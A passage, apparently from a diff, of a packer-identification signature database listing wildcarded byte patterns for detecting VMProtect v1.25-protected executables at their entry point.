?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 53 53 52 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 51 56 52 56 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 52 57 50 57 51 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 9C 52 50 53 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 9C 51 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 57 53 52 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 9C 57 50 53 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 55 9C 56 57 50 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 51 50 52 55 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 50 56 52 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 56 50 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 55 9C 56 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 51 56 57 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 53 50 52 56 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 53 55 51 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 51 57 9C 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 54 53 56 57 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 53 51 55 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 55 51 57 52 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 50 52 51 57 53 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 52 51 56 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 57 55 53 51 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 55 56 52 56 51 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 9C 57 55 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 50 56 53 57 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 52 57 53 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 51 9C 50 57 53 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 55 57 56 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 51 56 51 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 55 52 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 50 52 57 56 51 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 52 51 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 54 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 50 56 56 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 57 51 55 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 57 9C 51 53 52 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 52 51 9C 53 53 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 9C 55 53 56 52 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5B 5A 5E 58 5D 9D 58 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 9C 55 50 54 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 53 50 9C 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 52 53 56 50 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 53 55 51 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 52 55 51 50 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 51 53 55 56 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 51 50 55 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 51 55 52 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 50 52 56 51 50 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5B 5A 59 5E 5A 58 5D 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 55 56 56 57 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 51 52 55 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 57 53 52 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 56 53 57 52 51 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 52 56 53 57 51 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 55 56 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 52 56 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 51 56 57 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 56 51 55 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 53 50 56 53 51 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 56 55 56 9C 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 9C 52 50 57 56 53 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 51 50 55 53 56 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 54 56 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 52 57 51 9C 53 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 55 52 9C 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 55 56 51 57 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 55 51 53 53 57 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 53 51 55 57 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 55 52 50 55 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 52 51 55 56 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 53 55 53 51 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 51 57 53 50 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 51 52 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 52 53 52 56 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 51 53 57 56 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 53 52 50 55 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 55 57 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 57 53 51 52 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 5E 59 5D 5A 59 5B 5F 58 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 53 52 50 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F A5 D0 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F AD D0 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 47 50 39 C5 0F 87 ?? ?? ?? ?? 8D 4F 40 29 E1 8D 45 80 29 C8 89 C4 9C 56 89 FE 8D BD 40 FF FF FF 57 FC F3 A4 5F 5E 9D E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 57 52 51 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 57 50 55 56 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? 